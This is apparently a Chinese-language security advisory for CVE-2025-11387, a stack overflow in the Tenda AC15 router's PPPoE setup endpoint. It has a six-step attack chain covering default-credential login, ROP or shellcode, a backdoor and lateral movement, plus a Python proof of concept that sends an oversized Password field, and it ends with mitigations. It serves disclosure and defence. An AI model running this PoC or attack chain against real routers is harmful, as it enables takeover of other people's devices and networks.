IPBUF安全漏洞报告
English
CVE-2025-11387 CVSS 8.8 高危

CVE-2025-11387:Tenda AC15 PPPoE设置栈缓冲区溢出漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11387
漏洞类型
栈缓冲区溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda AC15 无线路由器

相关标签

缓冲区溢出栈溢出TendaAC15IoT路由器远程代码执行PPPoE高危漏洞CVE-2025-11387

漏洞概述

CVE-2025-11387是Tenda AC15无线路由器(固件版本15.03.05.18)中存在的一个高危安全漏洞。该漏洞位于路由器的/goform/fast_setting_pppoe_set接口中,属于PPPoE快速设置功能模块。攻击者可以通过构造恶意的HTTP请求,向该接口的Password参数提交超长数据,触发栈缓冲区溢出漏洞。由于该漏洞可以通过网络远程利用,且仅需要低权限认证,攻击者可以在无需用户交互的情况下,利用此漏洞实现远程代码执行,从而完全控制受影响的路由器设备。

该漏洞的CVSS 3.1评分为8.8分,属于高危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低(PR:L),无需用户交互(UI:N)。一旦成功利用,将对系统的机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。该漏洞的利用代码已被公开披露,攻击者可以轻易获取并利用,给使用Tenda AC15路由器的用户和企业带来严重的安全威胁。

Tenda AC15是一款面向家庭和小型办公环境的双频无线路由器,在全球市场拥有大量用户。由于路由器作为网络基础设施的关键节点,一旦被攻陷,攻击者可以监控网络流量、窃取敏感信息、篡改网络配置,甚至将受感染设备纳入僵尸网络进行更大规模的攻击。

技术细节

该漏洞的根本原因在于/goform/fast_setting_pppoe_set接口处理PPPoE设置请求时,对Password参数的长度验证不足。当用户通过Web管理界面配置PPPoE拨号连接时,前端会向该接口提交包含用户名和密码的POST请求。然而,后端CGI程序在将Password参数复制到栈缓冲区时,没有正确检查输入数据的长度,导致攻击者可以通过发送超长字符串覆盖栈上的返回地址和其他关键数据。

具体利用方式如下:攻击者首先需要获取路由器的管理权限(低权限即可),然后构造一个精心设计的HTTP POST请求,目标URL为/goform/fast_setting_pppoe_set,在请求体中包含一个超长的Password字段值。当该请求被路由器处理时,超长的密码数据将溢出栈缓冲区,覆盖保存的返回地址。攻击者可以将返回地址替换为shellcode地址或ROP链地址,从而实现任意代码执行。

由于该漏洞为栈溢出,攻击者可以利用经典的栈溢出技术,如返回地址覆盖、ROP(Return-Oriented Programming)链构造等。由于固件通常不启用ASLR(地址空间布局随机化)和栈保护(Stack Canary),利用难度相对较低。攻击成功后,攻击者可以在路由器上执行任意命令,获取root权限,植入后门,窃取用户凭证,或对内网其他设备发起进一步攻击。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描互联网或局域网中的Tenda AC15路由器,识别运行固件版本15.03.05.18的目标设备。
STEP 2
步骤2:获取认证凭据
攻击者通过暴力破解、默认凭据(admin/admin)或社工等方式获取路由器的低权限管理访问权限。
STEP 3
步骤3:构造恶意请求
攻击者构造一个HTTP POST请求,目标URL为/goform/fast_setting_pppoe_set,在Password参数中填充超长数据,触发栈缓冲区溢出。
STEP 4
步骤4:触发漏洞
将恶意请求发送至目标路由器,超长的Password数据溢出栈缓冲区,覆盖返回地址,导致程序执行流被劫持。
STEP 5
步骤5:执行任意代码
攻击者通过精心构造的ROP链或shellcode,在路由器上执行任意代码,获取root权限。
STEP 6
步骤6:植入后门与横向移动
攻击者在路由器中植入持久化后门,窃取网络流量中的敏感信息,并以内网为跳板对其他设备发起进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11387 PoC - Tenda AC15 Stack-based Buffer Overflow # Target: /goform/fast_setting_pppoe_set (Password parameter) # Firmware Version: 15.03.05.18 import requests import sys TARGET_HOST = "http://192.168.0.1" LOGIN_URL = f"{TARGET_HOST}/login/Auth" TARGET_URL = f"{TARGET_HOST}/goform/fast_setting_pppoe_set" USERNAME = "admin" PASSWORD = "admin" # Step 1: Authenticate to obtain session cookie def authenticate(): session = requests.Session() payload = { "username": USERNAME, "password": PASSWORD } try: resp = session.post(LOGIN_URL, data=payload, timeout=10) if "Set-Cookie" in resp.headers or resp.status_code == 200: print("[+] Authentication successful") return session except Exception as e: print(f"[-] Authentication failed: {e}") sys.exit(1) # Step 2: Trigger buffer overflow via Password parameter def exploit(session): # Overflow payload: padding + controlled return address (e.g., 0x41414141 for PoC) overflow_payload = "A" * 512 # Adjust offset based on stack frame analysis payload = { "loginFlag": "1", "PPPOEUser": "test", "Password": overflow_payload } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } try: resp = session.post(TARGET_URL, data=payload, headers=headers, timeout=10) print(f"[+] Exploit sent, status code: {resp.status_code}") except Exception as e: print(f"[*] Connection may have been reset (potential crash): {e}") if __name__ == "__main__": print("[*] CVE-2025-11387 - Tenda AC15 PPPoE Password Stack Overflow PoC") sess = authenticate() exploit(sess)

影响范围

Tenda AC15 15.03.05.18

防御指南

临时缓解措施
在官方补丁发布之前,建议用户立即采取以下临时缓解措施:1)修改路由器默认管理员密码为强密码,防止攻击者获取管理权限;2)禁用路由器的远程Web管理功能,仅允许通过内网访问;3)在防火墙上限制对路由器管理界面(通常为80/443端口)的外部访问;4)监控路由器的异常行为,如频繁重启、配置被篡改等;5)如非必要,暂时禁用PPPoE快速设置功能或限制对/goform/fast_setting_pppoe_set接口的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表